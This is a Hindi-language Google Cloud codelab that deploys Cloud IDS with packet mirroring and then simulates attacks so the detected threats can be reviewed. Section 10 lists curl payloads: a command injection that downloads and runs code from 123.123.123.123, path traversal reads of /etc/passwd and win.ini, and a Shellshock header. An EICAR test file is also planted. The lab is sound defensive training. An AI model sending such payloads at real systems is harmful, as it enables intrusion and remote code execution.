Cloud IDS

1. परिचय

इस लैब में, Cloud IDS को डिप्लॉय किया जाता है. यह घुसपैठ का पता लगाने वाली अगली जनरेशन की बेहतर सेवा है. यह घुसपैठ, मैलवेयर, स्पायवेयर, और कमांड-एंड-कंट्रोल के हमलों का पता लगाती है. आपको कई हमलों का सिम्युलेशन करना होगा. साथ ही, Cloud Console में खतरे की जानकारी देखनी होगी.

आपको क्या सीखने को मिलेगा

  • Cloud IDS एंडपॉइंट बनाने का तरीका
  • gcloud कमांड की मदद से दो वर्चुअल मशीनें बनाने का तरीका
  • पैकेट मिररिंग की नीति बनाने का तरीका
  • वर्चुअल मशीन से हमले वाले ट्रैफ़िक का सिम्युलेशन करने का तरीका
  • Cloud Console और Cloud Logging में खतरे की जानकारी देखने का तरीका

आपको इन चीज़ों की ज़रूरत होगी

  • Linux की बुनियादी कमांड की जानकारी

2. Cloud IDS के इस्तेमाल के उदाहरण

Cloud IDS, Google Cloud की एक नेटिव सेवा है. यह ग्राहकों को अगली पीढ़ी की इंट्रूज़न डिटेक्शन सर्विस (आईडीएस) उपलब्ध कराती है. इससे ग्राहक, खतरों का पता लगाने और पीसीआई 11.4 जैसी अनुपालन से जुड़ी ज़रूरी शर्तों को पूरा कर पाते हैं. यह सेवा, Palo Alto Networks की थ्रेट प्रोटेक्शन टेक्नोलॉजी पर आधारित है. इससे घुसपैठ का पता लगाने की बेहतर सुविधा मिलती है. Google Cloud के बेहतरीन इन्फ़्रास्ट्रक्चर को Palo Alto Networks की बेहतरीन सुरक्षा के साथ मिलाकर, ग्राहकों को पूरी तरह से मैनेज की गई, बेहतर परफ़ॉर्मेंस वाली, और सबसे ज़्यादा सुरक्षा देने वाली, ऐडवांस थ्रेट डिटेक्शन सेवा का बेजोड़ कॉम्बिनेशन मिलता है.

क्लाउड पर माइग्रेट करते समय, ग्राहकों के लिए सुरक्षा सबसे अहम होती है. उन्हें क्लाउड में भी, कंपनी की इमारत में की तरह ही सुरक्षा कंट्रोल चाहिए. जैसे, क्लाउड में घुसपैठ का पता लगाने वाली सेवा (आईडीएस). वे तीसरे पक्ष के सुरक्षा समाधान को डिप्लॉय करने और बुनियादी ढांचे को मैनेज करने या अपने खुद के सिग्नेचर लाने के बजाय, आसानी से डिप्लॉय करने, बेहतर परफ़ॉर्मेंस देने, और कम लागत में काम करने वाले क्लाउड नेटिव मैनेज किए गए आईडीएस समाधान का इस्तेमाल करना पसंद करते हैं. Google Cloud IDS, शुरू से लेकर आखिर तक और अपने-आप स्केल होने वाली मैनेज की गई आईडीएस सेवा उपलब्ध कराता है. इससे ग्राहक, खतरों का विश्लेषण करने और उन्हें कम करने में अपना समय बिता पाते हैं. साथ ही, उन्हें इन्फ़्रास्ट्रक्चर या खतरे के सिग्नेचर मैनेज करने के लिए ज़्यादा समय और संसाधन मिल पाते हैं.

Cloud IDS को अलग से डिप्लॉय किया जाता है. यह खतरों का पता लगा सकता है और उनके बारे में सूचना दे सकता है. हालांकि, यह खतरों को ब्लॉक नहीं कर सकता. यह Google Cloud Packet Mirroring का इस्तेमाल करके, नेटवर्क ट्रैफ़िक की एक कॉपी बनाता है. इस कॉपी का विश्लेषण, Palo Alto Network के थ्रेट डिटेक्शन इंजन का इस्तेमाल करके किया जाता है.

3. कोडलैब टोपोलॉजी

5a276f399e1d31e2.png

पहली इमेज. इस लैब के लिए, Cloud IDS डिप्लॉयमेंट के आर्किटेक्चर की खास जानकारी.

4. सेटअप और ज़रूरी शर्तें

अपने हिसाब से एनवायरमेंट सेट अप करना

  1. Google Cloud Console में साइन इन करें और नया प्रोजेक्ट बनाएं या किसी मौजूदा प्रोजेक्ट का फिर से इस्तेमाल करें. अगर आपके पास पहले से कोई Gmail या Google Workspace खाता नहीं है, तो आपको एक खाता बनाना होगा.

96a9c957bc475304.pngb9a10ebdf5b5a448.pnga1e3c01a38fa61c2.png

  • प्रोजेक्ट का नाम, इस प्रोजेक्ट में हिस्सा लेने वाले लोगों के लिए डिसप्ले नेम होता है. यह एक कैरेक्टर स्ट्रिंग है, जिसका इस्तेमाल Google API नहीं करते. इसे किसी भी समय अपडेट किया जा सकता है.
  • प्रोजेक्ट आईडी, सभी Google Cloud प्रोजेक्ट के लिए यूनीक होना चाहिए. साथ ही, इसे बदला नहीं जा सकता. Cloud Console, यूनीक स्ट्रिंग को अपने-आप जनरेट करता है. आम तौर पर, आपको इससे कोई फ़र्क़ नहीं पड़ता कि यह क्या है. ज़्यादातर कोडलैब में, आपको प्रोजेक्ट आईडी का रेफ़रंस देना होगा. इसे आम तौर पर PROJECT_ID के तौर पर पहचाना जाता है. इसलिए, अगर आपको यह पसंद नहीं है, तो कोई दूसरा रैंडम आईडी जनरेट करें. इसके अलावा, अपने हिसाब से कोई आईडी जनरेट करके देखें कि वह उपलब्ध है या नहीं. इसके बाद, प्रोजेक्ट बनाने के बाद इसे "फ़्रीज़" कर दिया जाता है.
  • तीसरी वैल्यू, प्रोजेक्ट नंबर होती है. इसका इस्तेमाल कुछ एपीआई करते हैं. इन तीनों वैल्यू के बारे में ज़्यादा जानने के लिए, दस्तावेज़ देखें.
  1. इसके बाद, आपको Cloud Console में बिलिंग चालू करनी होगी, ताकि Cloud संसाधनों/एपीआई का इस्तेमाल किया जा सके. इस कोडलैब को पूरा करने में ज़्यादा खर्च नहीं आएगा. संसाधन शट डाउन करने के लिए, कोडलैब के आखिर में दिए गए "सफ़ाई" से जुड़े निर्देशों का पालन करें, ताकि इस ट्यूटोरियल के बाद आपको बिलिंग न करनी पड़े. Google Cloud के नए उपयोगकर्ताओं को, मुफ़्त में आज़माने के लिए 300 डॉलर का क्रेडिट मिलता है.

Cloud Shell शुरू करें

Google Cloud को अपने लैपटॉप से रिमोटली ऐक्सेस किया जा सकता है. हालांकि, इस कोडलैब में Google Cloud Shell का इस्तेमाल किया जाएगा. यह क्लाउड में चलने वाला कमांड लाइन एनवायरमेंट है.

GCP Console में, सबसे ऊपर दाईं ओर मौजूद टूलबार पर मौजूद Cloud Shell आइकॉन पर क्लिक करें:

bce75f34b2c53987.png

इसे चालू करने और एनवायरमेंट से कनेक्ट करने में सिर्फ़ कुछ सेकंड लगते हैं. यह प्रोसेस पूरी होने के बाद, आपको कुछ ऐसा दिखेगा:

f6ef2b5f13479f3a.png

इस वर्चुअल मशीन में, डेवलपमेंट के लिए ज़रूरी सभी टूल पहले से मौजूद होते हैं. यह 5 जीबी की होम डायरेक्ट्री उपलब्ध कराता है. साथ ही, Google Cloud पर काम करता है. इससे नेटवर्क की परफ़ॉर्मेंस और पुष्टि करने की प्रोसेस बेहतर होती है. इस लैब में मौजूद सभी काम सिर्फ़ ब्राउज़र की मदद से किए जा सकते हैं.

5. शुरू करने से पहले

एपीआई चालू करें

Cloud Shell में, पक्का करें कि आपका प्रोजेक्ट आईडी सेट अप हो

gcloud config list project
gcloud config set project [YOUR-PROJECT-NAME]
export PROJECT_ID=$(gcloud config get-value project | sed '2d')

सभी ज़रूरी सेवाएं चालू करें

gcloud services enable compute.googleapis.com
gcloud services enable ids.googleapis.com
gcloud services enable logging.googleapis.com

6. वीपीसी नेटवर्क बनाना

VPC नेटवर्क

Cloud Shell से

gcloud compute networks create cloud-ids \
--subnet-mode=custom

सबनेट

Cloud Shell से

gcloud compute networks subnets create cloud-ids-useast1 \
--range=192.168.10.0/24 \
--network=cloud-ids \
--region=us-east1

प्राइवेट सर्विस ऐक्सेस

Cloud Shell से

gcloud compute addresses create cloud-ids-ips \
--global \
--purpose=VPC_PEERING \
--addresses=10.10.10.0 \
--prefix-length=24 \
--description="Cloud IDS Range" \
--network=cloud-ids

Private Service Connect

Cloud Shell से

gcloud services vpc-peerings connect \
--service=servicenetworking.googleapis.com \
--ranges=cloud-ids-ips \
--network=cloud-ids \
--project=$PROJECT_ID

फ़ायरवॉल के नियम

आईएपी को अपने वीएम इंस्टेंस से कनेक्ट करने की अनुमति देने के लिए, फ़ायरवॉल का ऐसा नियम बनाएं जो:

  • यह उन सभी वीएम इंस्टेंस पर लागू होता है जिन्हें आपको आईएपी का इस्तेमाल करके ऐक्सेस करना है.
  • इससे आईपी रेंज 35.235.240.0/20 से इन्ग्रेस ट्रैफ़िक को आने की अनुमति मिलती है. इस रेंज में वे सभी आईपी पते शामिल हैं जिनका इस्तेमाल IAP, टीसीपी फ़ॉरवर्डिंग के लिए करता है.

Cloud Shell से

gcloud compute firewall-rules create allow-iap-proxy \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:22 \
--source-ranges=35.235.240.0/20

सर्वर को स्टैंडर्ड एचटीटीपी पोर्ट (टीसीपी 80) और आईसीएमपी प्रोटोकॉल की अनुमति देने के लिए:

  • यह "server" नेटवर्क टैग वाले संसाधनों पर लागू होता है
  • इससे सभी सोर्स से इनग्रेस की अनुमति मिलती है

Cloud Shell से

gcloud compute firewall-rules create allow-http-icmp \
--direction=INGRESS \
--priority=1000 \
--network=cloud-ids \
--action=ALLOW \
--rules=tcp:80,icmp \
--source-ranges=0.0.0.0/0 \
--target-tags=server

Cloud NAT इंस्टेंस बनाना

क्लाउड राऊटर

Cloud Shell से

gcloud compute routers create cr-cloud-ids-useast1 \
--region=us-east1 \
--network=cloud-ids

Cloud NAT

Cloud Shell से

gcloud compute routers nats create nat-cloud-ids-useast1 \
--router=cr-cloud-ids-useast1 \
--router-region=us-east1 \
--auto-allocate-nat-external-ips \
--nat-all-subnet-ip-ranges

7. Cloud IDS एंडपॉइंट बनाना

इस सेक्शन में, us-east1 में Cloud IDS Endpoint बनाया जाता है. साथ ही, गंभीरता के लेवल को सूचना के तौर पर सेट किया जाता है. आईडीएस एंडपॉइंट बनाने में करीब 20 मिनट लगते हैं.

आईडीएस एंडपॉइंट

Cloud Shell से

gcloud ids endpoints create cloud-ids-east1 \
--network=cloud-ids \
--zone=us-east1-b \
--severity=INFORMATIONAL \
--async

पुष्टि करें कि Cloud IDS एंडपॉइंट शुरू हो गया है

gcloud ids endpoints list --project=$PROJECT_ID

आउटपुट -

ID: cloud-ids-east1
LOCATION: us-east1-b
SEVERITY: INFORMATIONAL
STATE: CREATING
NETWORK: cloud-ids
TRAFFIC_LOGS:

8. दो वर्चुअल मशीनें बनाना

इस सेक्शन में, दो वर्चुअल मशीनें बनाई जाती हैं. पहला आपका वेब सर्वर होगा, जो Cloud IDS को मिरर कर रहा है. दूसरी वर्चुअल मशीन, आपके हमले के ट्रैफ़िक का सोर्स होगी.

वर्चुअल मशीन 1 (सर्वर)

Cloud Shell से

gcloud compute instances create server \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.20 \
--metadata=startup-script=\#\!\ /bin/bash$'\n'sudo\ apt-get\ update$'\n'sudo\ apt-get\ -qq\ -y\ install\ nginx \
--tags=server \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB

वर्चुअल मशीन 2 (क्लाइंट)

Cloud Shell से

gcloud compute instances create attacker \
--zone=us-east1-b \
--machine-type=e2-medium \
--subnet=cloud-ids-useast1 \
--no-address \
--private-network-ip=192.168.10.10 \
--image=debian-10-buster-v20210512 \
--image-project=debian-cloud \
--boot-disk-size=10GB 

9. सर्वर तैयार किया जा रहा है

इस टास्क में, आपको अपने सर्वर की पुष्टि करनी होगी. साथ ही, अपने क्लाइंट के लिए ऐसा मैलवेयर पेलोड उपलब्ध कराना होगा जो नुकसान न पहुंचाता हो.

Cloud Shell के ज़रिए वीएम में एसएसएच करें

gcloud compute ssh server --zone=us-east1-b --tunnel-through-iap

पुष्टि करें कि वेब सेवा चालू है

sudo systemctl status nginx

आउटपुट - पुष्टि करें कि सेंसर चालू है और काम कर रहा है

● nginx.service - A high performance web server and a reverse proxy server
   Loaded: loaded (/lib/systemd/system/nginx.service; enabled; vendor preset: enabled)
   Active: active (running) since Tue 2021-05-25 18:01:49 UTC; 5h 24min ago
     Docs: man:nginx(8)
 Main PID: 1347 (nginx)
    Tasks: 3 (limit: 4665)
   Memory: 4.5M
   CGroup: /system.slice/nginx.service
           ├─1347 nginx: master process /usr/sbin/nginx -g daemon on; master_process on;
           ├─1348 nginx: worker process
           └─1349 nginx: worker process

May 25 18:01:49 server systemd[1]: Starting A high performance web server and a reverse proxy server...
May 25 18:01:49 server systemd[1]: Started A high performance web server and a reverse proxy server.

डायरेक्ट्री को वेब सर्विस में बदलना

cd /var/www/html/

वेब सर्वर पर, नुकसान न पहुंचाने वाली मैलवेयर फ़ाइल बनाना

sudo touch eicar.file

कॉन्टेंट चिपकाएं

echo 'X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*' | sudo tee eicar.file

Cloud Shell पर वापस जाएं

exit

Cloud IDS की पैकेट मिररिंग नीति बनाना

आईडीएस एंडपॉइंट फ़ॉरवर्ड करने के नियम की पहचान करें और पुष्टि करें कि आईडीएस एंडपॉइंट की स्थिति "READY" है.

gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b 

आउटपुट का उदाहरण - "endpointForwardingRule" से वैल्यू कॉपी करें

user1@cloudshell:~ (ids-project)$ gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b
createTime: '2021-07-01T21:03:56.099839751Z'
endpointForwardingRule: https://www.googleapis.com/compute/v1/projects/n3de7a2d45b28a050p-tp/regions/us-east1/forwardingRules/ids-fr-east-y085fcfwalsok1ca
endpointIp: 172.16.30.43
name: projects/ids-project/locations/us-east1-b/endpoints/cloud-ids-east1
network: projects/ids-project/global/networks/cloud-ids
severity: INFORMATIONAL
state: READY
updateTime: '2021-07-01T21:21:32.744309107Z'

आईडीएस एंडपॉइंट फ़ॉरवर्ड करने के नियम को किसी वैरिएबल में सेव करें.

export FORWARDING_RULE=$(gcloud ids endpoints describe cloud-ids-east1 --zone=us-east1-b --format="value(endpointForwardingRule)")
echo $FORWARDING_RULE

पैकेट मिररिंग की नीति

Cloud Shell से

gcloud compute packet-mirrorings create cloud-ids-packet-mirroring \
--region=us-east1 \
--collector-ilb=$FORWARDING_RULE \
--network=cloud-ids \
--mirrored-subnets=cloud-ids-useast1

पुष्टि करें कि पैकेट मिररिंग की नीति बनाई गई है

Cloud Shell से

gcloud compute packet-mirrorings list

आउटपुट

user1@cloudshell:~ (ids-project)$ gcloud compute packet-mirrorings list
NAME                        REGION       NETWORK    ENABLE
cloud-ids-packet-mirroring  us-east1     cloud-ids  TRUE

10. हमले के ट्रैफ़िक को सिम्युलेट करना

हमलावर की वर्चुअल मशीन (क्लाइंट) में एसएसएच करें

Cloud Shell से

gcloud compute ssh attacker --zone=us-east1-b --tunnel-through-iap

नुकसान पहुंचाने वाले ट्रैफ़िक को सिम्युलेट करने के लिए, यहां दिए गए कर्ल अनुरोधों को चलाएं.

curl "http://192.168.10.20/weblogin.cgi?username=admin';cd /tmp;wget http://123.123.123.123/evil;sh evil;rm evil"
curl http://192.168.10.20/?item=../../../../WINNT/win.ini
curl http://192.168.10.20/eicar.file
curl http://192.168.10.20/cgi-bin/../../../..//bin/cat%20/etc/passwd
curl -H 'User-Agent: () { :; }; 123.123.123.123:9999' http://192.168.10.20/cgi-bin/test-critical

CloudShell पर वापस जाने के लिए, वीएम से बाहर निकलें

exit

11. Cloud IDS से पता लगाए गए खतरों की समीक्षा करना

Cloud IDS डैशबोर्ड पर जाना

नेविगेशन मेन्यू > नेटवर्क सुरक्षा > Cloud IDS

37583419aa604aa8.png

थ्रेट टैब पर जाएं.

b7d934f409b4e2b.png

जैसा कि आप देख सकते हैं, Cloud IDS ने अलग-अलग तरह के अटैक ट्रैफ़िक प्रोफ़ाइल को कैप्चर किया है. साथ ही, हर खतरे के बारे में जानकारी दी है. अगर आपको कोई खतरा नहीं दिखता है, तो हो सकता है कि आपको "रीफ़्रेश करें" बटन पर क्लिक करना पड़े. अब हम थोड़ी और जानकारी देखेंगे और खतरे की जानकारी देखेंगे.

"Bash Remote Code Execution Vulnerability" थ्रेट ढूंढें. इसके बाद, दाईं ओर मौजूद तीन बिंदुओं पर क्लिक करें और "View threat details" चुनें

b122b30dd8d43d9b.pngee1b201a12db7ef7.png

अब हम Cloud Logging में इस घटना की जानकारी देखेंगे. बाईं ओर इशारा करने वाले ऐरो पर क्लिक करके, थ्रेट पेज पर वापस जाएं .

दाईं ओर मौजूद तीन बिंदुओं पर क्लिक करें और "खतरे के लॉग देखें" चुनें

b122b30dd8d43d9b.pngff0d5a0d652ddd83.png

यही जानकारी Cloud Logging को भी दी जाती है. इससे, लॉग को Cloud Storage, Chronicle या किसी भी SIEM/SOAR पर भेजा जा सकता है. सूचनाओं के आधार पर समस्या हल करने के लिए, कस्टम वर्कफ़्लो भी बनाए जा सकते हैं. उदाहरण के लिए, ऐसी क्लाउड फ़ंक्शन बनाना जो सूचना मिलने पर ट्रिगर हो और आईपी पते को ब्लॉक करने के लिए फ़ायरवॉल का नियम बनाए/अपडेट करे या Cloud Armor की नीति बनाए/अपडेट करे.

12. क्लीनअप करने का तरीका

वीएम इंस्टेंस (सभी टैब) से बाहर निकलें

exit

किसी एक Cloud Shell टर्मिनल से लैब कॉम्पोनेंट मिटाएं

gcloud compute routers nats delete nat-cloud-ids-useast1 --router=cr-cloud-ids-useast1 --router-region=us-east1 --quiet

gcloud compute routers delete cr-cloud-ids-useast1 --region=us-east1 --quiet

gcloud compute instances delete server --zone=us-east1-b --quiet

gcloud compute instances delete attacker --zone=us-east1-b --quiet

gcloud compute firewall-rules delete allow-iap-proxy --quiet

gcloud compute firewall-rules delete allow-http-icmp --quiet

gcloud compute packet-mirrorings delete cloud-ids-packet-mirroring --region=us-east1 --quiet

gcloud ids endpoints delete cloud-ids-east1 --zone=us-east1-b --quiet

gcloud services vpc-peerings delete --service=servicenetworking.googleapis.com --network=cloud-ids --project=$PROJECT_ID --quiet

gcloud compute addresses delete cloud-ids-ips --global --quiet

gcloud compute networks subnets delete cloud-ids-useast1 --region us-east1 --quiet

gcloud compute networks delete cloud-ids --quiet

13. बधाई हो!

कोड लैब पूरा करने के लिए बधाई.

हमने क्या-क्या बताया

  • Cloud IDS के इस्तेमाल के उदाहरण
  • नेटवर्क की ज़रूरी शर्तें
  • काम करने वाले एपीआई
  • Cloud IDS एंडपॉइंट बनाया गया
  • दो वीएम डिप्लॉय किए गए
  • क्लाइंट से कुछ "हमला" ट्रैफ़िक जनरेट किया गया है
  • पुष्टि किए गए खतरों का पता आईडीएस ने लगाया
  • खतरे की जानकारी और लॉग देखना